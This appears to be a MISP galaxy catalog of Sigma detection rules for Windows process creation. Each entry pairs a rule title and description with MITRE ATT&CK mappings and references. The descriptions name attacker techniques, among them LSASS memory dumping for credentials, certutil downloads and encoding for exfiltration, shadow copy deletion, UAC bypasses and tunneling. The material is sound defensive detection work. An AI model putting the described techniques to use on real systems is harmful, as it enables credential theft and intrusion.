Detects different hacktools used for relay attacks on Windows for privilege escalation

The tag is: *misp-galaxy:sigma-rules="Potential SMB Relay Attack Tool Execution"*

View relationships graph

Potential SMB Relay Attack Tool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"

Table 15566. Table References

Links
https://hunter2.gitbook.io/darthsidious/other/war-stories/domain-admin-in-30-minutes
https://pentestlab.blog/2017/04/13/hot-potato/
https://github.com/ohpe/juicy-potato
https://www.localpotato.com/
https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
https://hunter2.gitbook.io/darthsidious/execution/responder-with-ntlm-relay-and-empire
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_relay_attacks_tools.yml

XBAP Execution From Uncommon Locations Via PresentationHost.EXE

Detects the execution of ".xbap" (Browser Applications) files via PresentationHost.EXE from an uncommon location. These files can be abused to run malicious ".xbap" files any bypass AWL

The tag is: *misp-galaxy:sigma-rules="XBAP Execution From Uncommon Locations Via PresentationHost.EXE"*

View relationships graph

XBAP Execution From Uncommon Locations Via PresentationHost.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15567. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Presentationhost/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_presentationhost_uncommon_location_exec.yml

Renamed Jusched.EXE Execution

Detects the execution of a renamed "jusched.exe" as seen used by the cobalt group

The tag is: *misp-galaxy:sigma-rules="Renamed Jusched.EXE Execution"*

View relationships graph

Renamed Jusched.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 15568. Table References

Links
https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_jusched.yml

PUA - Advanced IP Scanner Execution

Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.

The tag is: *misp-galaxy:sigma-rules="PUA - Advanced IP Scanner Execution"*

View relationships graph

PUA - Advanced IP Scanner Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

Table 15569. Table References

Links

https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer
https://labs.f-secure.com/blog/prelude-to-ransomware-systembc
https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/
https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20IP%20Scanner
https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html
https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_advanced_ip_scanner.yml

LOL-Binary Copied From System Directory

Detects a suspicious copy operation that tries to copy a known LOLBIN from system (System32, SysWOW64, WinSxS) directories to another on disk in order to bypass detections based on locations.

The tag is: *misp-galaxy:sigma-rules="LOL-Binary Copied From System Directory"*

View relationships graph

LOL-Binary Copied From System Directory has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 15570. Table References

Links
https://www.virustotal.com/gui/file/14e722855605ba78dc1d21153f0e1be90e7528149f2cd2d7d6eba8ef27534bdc/behavior
https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/
https://www.hybrid-analysis.com/sample/8da5b75b6380a41eee3a399c43dfe0d99eeefaa1fd21027a07b1ecaa4cd96fdd?environmentId=120
https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_system_dir_lolbin.yml

Potential Script Proxy Execution Via CL_Mutexverifiers.ps1

Detects the use of the Microsoft signed script "CL_mutexverifiers" to proxy the execution of additional PowerShell script commands

The tag is: *misp-galaxy:sigma-rules="Potential Script Proxy Execution Via CL_Mutexverifiers.ps1"*

View relationships graph

Potential Script Proxy Execution Via CL_Mutexverifiers.ps1 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"

Table 15571. Table References

Links
https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cl_mutexverifiers.yml

Suspicious AddinUtil.EXE CommandLine Execution

Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) with suspicious Addinroot or Pipelineroot paths. An adversary may execute AddinUtil.exe with uncommon Addinroot/Pipelineroot paths that point to the adversaries Addins.Store payload.

The tag is: *misp-galaxy:sigma-rules="Suspicious AddinUtil.EXE CommandLine Execution"*

View relationships graph

Suspicious AddinUtil.EXE CommandLine Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15572. Table References

Links
https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_addinutil_suspicious_cmdline.yml

PDQ Deploy Remote Adminstartion Tool Execution

Detect use of PDQ Deploy remote admin tool

The tag is: *misp-galaxy:sigma-rules="PDQ Deploy Remote Adminstartion Tool Execution"*

View relationships graph

PDQ Deploy Remote Adminstartion Tool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="almost-certain"

Table 15573. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1072/T1072.md
https://www.pdq.com/pdq-deploy/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdqdeploy_execution.yml

Potentially Suspicious Child Process Of WinRAR.EXE

Detects potentially suspicious child processes of WinRAR.exe.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Child Process Of WinRAR.EXE"*

View relationships graph

Potentially Suspicious Child Process Of WinRAR.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

Table 15574. Table References

Links
https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/
https://github.com/knight0x07/WinRAR-Code-Execution-Vulnerability-CVE-2023-38831/blob/26ab6c40b6d2c09bb4fc60feaa4a3a90cfd20c23/Part-1-Overview.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrar_susp_child_process.yml

Suspicious Encoded And Obfuscated Reflection Assembly Load Function Call

Detects suspicious base64 encoded and obfuscated "LOAD" keyword used in .NET "reflection.assembly"

The tag is: *misp-galaxy:sigma-rules="Suspicious Encoded And Obfuscated Reflection Assembly Load*

Function Call"

View relationships graph

Suspicious Encoded And Obfuscated Reflection Assembly Load Function Call has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 15575. Table References

Links
https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar
https://learn.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-7.0
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_reflection_assembly_load_obfusc.yml

Potential Active Directory Enumeration Using AD Module - ProcCreation

Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dl" DLL. Which is often used by attackers to perform AD enumeration.

The tag is: *misp-galaxy:sigma-rules="Potential Active Directory Enumeration Using AD Module - ProcCreation"*

Table 15576. Table References

Links
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges
https://twitter.com/cyb3rops/status/1617108657166061568?s=20
https://github.com/samratashok/ADModule
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_active_directory_module_dll_import.yml

Windows Binary Executed From WSL

Detects the execution of Windows binaries from within a WSL instance. This could be used to masquerade parent-child relationships

The tag is: *misp-galaxy:sigma-rules="Windows Binary Executed From WSL"*

View relationships graph

Windows Binary Executed From WSL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15577. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wsl_windows_binaries_execution.yml

Arbitrary File Download Via PresentationHost.EXE

Detects usage of "PresentationHost" which is a utility that runs ".xbap" (Browser Applications) files to download arbitrary files

The tag is: *misp-galaxy:sigma-rules="Arbitrary File Download Via PresentationHost.EXE"*

View relationships graph

Arbitrary File Download Via PresentationHost.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15578. Table References

Links
https://github.com/LOLBAS-Project/LOLBAS/pull/239/files
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_presentationhost_download.yml

PUA - Ngrok Execution

Detects the use of Ngrok, a utility used for port forwarding and tunneling, often used by threat actors to make local protected services publicly available. Involved domains are bin.equinox.io for download and *.ngrok.io for connections.

The tag is: *misp-galaxy:sigma-rules="PUA - Ngrok Execution"*

View relationships graph

PUA - Ngrok Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

Table 15579. Table References

Links
https://cybleinc.com/2021/02/15/ngrok-platform-abused-by-hackers-to-deliver-a-new-wave-of-phishing-attacks/
https://twitter.com/xorJosh/status/1598646907802451969
https://www.softwaretestinghelp.com/how-to-use-ngrok/
https://www.virustotal.com/gui/file/58d21840d915aaf4040ceb89522396124c82f325282f805d1085527e1e2ccfa1/detection
https://stackoverflow.com/questions/42442320/ssh-tunnel-to-ngrok-and-initiate-rdp
https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html
https://ngrok.com/docs
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_ngrok.yml

Renamed SysInternals DebugView Execution

Detects suspicious renamed SysInternals DebugView execution

The tag is: *misp-galaxy:sigma-rules="Renamed SysInternals DebugView Execution"*

View relationships graph

Renamed SysInternals DebugView Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

Table 15580. Table References

Links
https://www.epicturla.com/blog/sysinturla
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sysinternals_debugview.yml

Suspicious Msiexec Execute Arbitrary DLL

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)

The tag is: *misp-galaxy:sigma-rules="Suspicious Msiexec Execute Arbitrary DLL"*

View relationships graph

Suspicious Msiexec Execute Arbitrary DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"

Table 15581. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec
https://twitter.com/*st0pp3r*/status/1583914515996897281
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_execute_dll.yml

WMI Persistence - Script Event Consumer

Detects WMI script event consumers

The tag is: *misp-galaxy:sigma-rules="WMI Persistence - Script Event Consumer"*

View relationships graph

WMI Persistence - Script Event Consumer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

Table 15582. Table References

Links
https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_persistence_script_event_consumer.yml

RestrictedAdminMode Registry Value Tampering - ProcCreation

Detects changes to the "DisableRestrictedAdmin" registry value in order to disable or enable RestrictedAdmin mode. RestrictedAdmin mode prevents the transmission of reusable credentials to the remote system to which you connect using Remote Desktop. This prevents your credentials from being harvested during the initial connection process if the remote server has been compromise

The tag is: *misp-galaxy:sigma-rules="RestrictedAdminMode Registry Value Tampering - ProcCreation"*

View relationships graph

RestrictedAdminMode Registry Value Tampering - ProcCreation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 15583. Table References

Links
https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
https://social.technet.microsoft.com/wiki/contents/articles/32905.remote-desktop-services-enable-restricted-admin-mode.aspx
https://github.com/redcanaryco/atomic-red-team/blob/a8e3cf63e97b973a25903d3df9fd55da6252e564/atomics/T1112/T1112.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_lsa_disable_restricted_admin.yml

Possible Privilege Escalation via Weak Service Permissions

Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand

The tag is: *misp-galaxy:sigma-rules="Possible Privilege Escalation via Weak Service Permissions"*

View relationships graph

Possible Privilege Escalation via Weak Service Permissions has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011" with estimative-language:likelihood-probability="almost-certain"

Table 15584. Table References

Links
https://pentestlab.blog/2017/03/30/weak-service-permissions/
https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_change_sevice_image_path_by_non_admin.yml

Allow Service Access Using Security Descriptor Tampering Via Sc.EXE

Detects suspicious DACL modifications to allow access to a service from a suspicious trustee. This can be used to override access restrictions set by previous ACLs.

The tag is: *misp-galaxy:sigma-rules="Allow Service Access Using Security Descriptor Tampering Via Sc.EXE"*

View relationships graph

Allow Service Access Using Security Descriptor Tampering Via Sc.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 15585. Table References

Links
https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/
https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings
https://twitter.com/0gtweet/status/1628720819537936386
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_sdset_allow_service_changes.yml

Potential Process Injection Via Msra.EXE

Detects potential process injection via Microsoft Remote Asssistance (Msra.exe) by looking at suspicious child processes spawned from the aforementioned process. It has been a target used by many threat actors and used for discovery and persistence tactics

The tag is: *misp-galaxy:sigma-rules="Potential Process Injection Via Msra.EXE"*

View relationships graph

Potential Process Injection Via Msra.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 15586. Table References

Links
https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/
https://www.fortinet.com/content/dam/fortinet/assets/analyst-reports/ar-qakbot.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msra_process_injection.yml

Control Panel Items

Detects the malicious use of a control panel item

The tag is: *misp-galaxy:sigma-rules="Control Panel Items"*

View relationships graph

Control Panel Items has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Control Panel - T1218.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1546" with estimative-language:likelihood-probability="almost-certain"

Table 15587. Table References

Links
https://ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_control_panel_item.yml

Script Interpreter Execution From Suspicious Folder

Detects a suspicious script execution in temporary folders or folders accessible by environment variables

The tag is: *misp-galaxy:sigma-rules="Script Interpreter Execution From Suspicious Folder"*

View relationships graph

Script Interpreter Execution From Suspicious Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15588. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/shell/csidl
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-russia-ukraine-military
https://www.virustotal.com/gui/file/91ba814a86ddedc7a9d546e26f912c541205b47a853d227756ab1334ade92c3f
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_env_folder.yml

Conhost Spawned By Uncommon Parent Process

Detects when the Console Window Host (conhost.exe) process is spawned by an uncommon parent process, which could be indicative of potential code injection activity.

The tag is: *misp-galaxy:sigma-rules="Conhost Spawned By Uncommon Parent Process"*

View relationships graph

Conhost Spawned By Uncommon Parent Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15589. Table References

Links
https://www.elastic.co/guide/en/security/current/conhost-spawned-by-suspicious-parent-process.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_uncommon_parent.yml

Suspicious Process Created Via Wmic.EXE

Detects WMIC executing "process call create" with suspicious calls to processes such as "rundll32", "regsrv32", etc.

The tag is: *misp-galaxy:sigma-rules="Suspicious Process Created Via Wmic.EXE"*

View relationships graph

Suspicious Process Created Via Wmic.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 15590. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker
https://thedfirreport.com/2020/10/08/ryuks-return/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_susp_process_creation.yml

Always Install Elevated MSI Spawned Cmd And Powershell

Detects Windows Installer service (msiexec.exe) spawning "cmd" or "powershell"

The tag is: *misp-galaxy:sigma-rules="Always Install Elevated MSI Spawned Cmd And Powershell"*

View relationships graph

Always Install Elevated MSI Spawned Cmd And Powershell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15591. Table References

Links
https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-50-638.jpg
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_elavated_msi_spawned_shell.yml

HackTool - Empire PowerShell UAC Bypass

Detects some Empire PowerShell UAC bypass methods

The tag is: *misp-galaxy:sigma-rules="HackTool - Empire PowerShell UAC Bypass"*

View relationships graph

HackTool - Empire PowerShell UAC Bypass has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15592. Table References

Links
https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-FodHelperBypass.ps1#L64
https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_empire_powershell_uac_bypass.yml

HackTool - CreateMiniDump Execution

Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine

The tag is: *misp-galaxy:sigma-rules="HackTool - CreateMiniDump Execution"*

View relationships graph

HackTool - CreateMiniDump Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15593. Table References

Links
https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_createminidump.yml

Github Self-Hosted Runner Execution

Detects GitHub self-hosted runners executing workflows on local infrastructure that could be abused for persistence and code execution. Shai-Hulud is an npm supply chain worm targeting CI/CD environments. It installs runners on compromised systems to maintain access after credential theft, leveraging their access to secrets and internal networks.

The tag is: *misp-galaxy:sigma-rules="Github Self-Hosted Runner Execution"*

View relationships graph

Github Self-Hosted Runner Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 15594. Table References

Links
https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/
https://securitylabs.datadoghq.com/articles/shai-hulud-2.0-npm-worm/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_github_self_hosted_runner.yml

File Encoded To Base64 Via Certutil.EXE

Detects the execution of certutil with the "encode" flag to encode a file to base64. This can be abused by threat actors and attackers for data exfiltration

The tag is: *misp-galaxy:sigma-rules="File Encoded To Base64 Via Certutil.EXE"*

View relationships graph

File Encoded To Base64 Via Certutil.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 15595. Table References

Links
https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
https://lolbas-project.github.io/lolbas/Binaries/Certutil/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_encode.yml

Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE

Detects the execution of certutil with certain flags that allow the utility to download files from file-sharing websites.

The tag is: *misp-galaxy:sigma-rules="Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE"*

View relationships graph

Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15596. Table References

Links
https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
https://twitter.com/egre55/status/1087685529016193025
https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/
https://www.hexacorn.com/blog/2020/08/23/certutil-one-more-gui-lolbin
https://lolbas-project.github.io/lolbas/Binaries/Certutil/
https://forensicitguy.github.io/agenttesla-vba-certutil-download/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_download_file_sharing_domains.yml

CMSTP UAC Bypass via COM Object Access

Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65)

The tag is: *misp-galaxy:sigma-rules="CMSTP UAC Bypass via COM Object Access"*

View relationships graph

CMSTP UAC Bypass via COM Object Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"

Table 15597. Table References

Links
https://twitter.com/hFireF0X/status/897640081053364225
https://github.com/hfiref0x/UACME
https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf
https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp_com_object_access.yml

Potential Reconnaissance Activity Via GatherNetworkInfo.VBS

Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". Which can be used to gather information about the target machine

The tag is: *misp-galaxy:sigma-rules="Potential Reconnaissance Activity Via GatherNetworkInfo.VBS"*

View relationships graph

Potential Reconnaissance Activity Via GatherNetworkInfo.VBS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

Table 15598. Table References

Links

https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government
https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_gather_network_info.yml

Potential Dosfuscation Activity

Detects possible payload obfuscation via the commandline

The tag is: *misp-galaxy:sigma-rules="Potential Dosfuscation Activity"*

View relationships graph

Potential Dosfuscation Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15599. Table References

Links
https://github.com/danielbohannon/Invoke-DOSfuscation
https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/dosfuscation-report.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_dosfuscation.yml

Shadow Copies Deletion Using Operating Systems Utilities

Shadow Copies deletion using operating systems utilities

The tag is: *misp-galaxy:sigma-rules="Shadow Copies Deletion Using Operating Systems Utilities"*

View relationships graph

Shadow Copies Deletion Using Operating Systems Utilities has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 15600. Table References

Links
https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment

https://blog.talosintelligence.com/2017/05/wannacry.html
https://www.bleepingcomputer.com/news/security/why-everyone-should-disable-vssadmin-exe-now/
https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/gen_ransomware_command_lines.yar
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/new-teslacrypt-ransomware-arrives-via-spam/
https://github.com/Neo23x0/Raccine#the-process
https://redcanary.com/blog/intelligence-insights-october-2021/
https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shadow_copies_deletion.yml

Suspicious Invoke-WebRequest Execution With DirectIP

Detects calls to PowerShell with Invoke-WebRequest cmdlet using direct IP access

The tag is: *misp-galaxy:sigma-rules="Suspicious Invoke-WebRequest Execution With DirectIP"*

View relationships graph

Suspicious Invoke-WebRequest Execution With DirectIP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15601. Table References

Links
https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_invoke_webrequest_direct_ip.yml

Uncommon Svchost Command Line Parameter

Detects instances of svchost.exe running with an unusual or uncommon command line parameter by excluding known legitimate or common patterns. This could point at a file masquerading as svchost, a process injection, or hollowing of a legitimate svchost instance.

The tag is: *misp-galaxy:sigma-rules="Uncommon Svchost Command Line Parameter"*

View relationships graph

Uncommon Svchost Command Line Parameter has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Match Legitimate Resource Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"

Table 15602. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/apt41-initiates-global-intrusion-campaign-using-multiple-exploits/
https://cardinalops.com/blog/the-art-of-anomaly-hunting-patterns-detection/
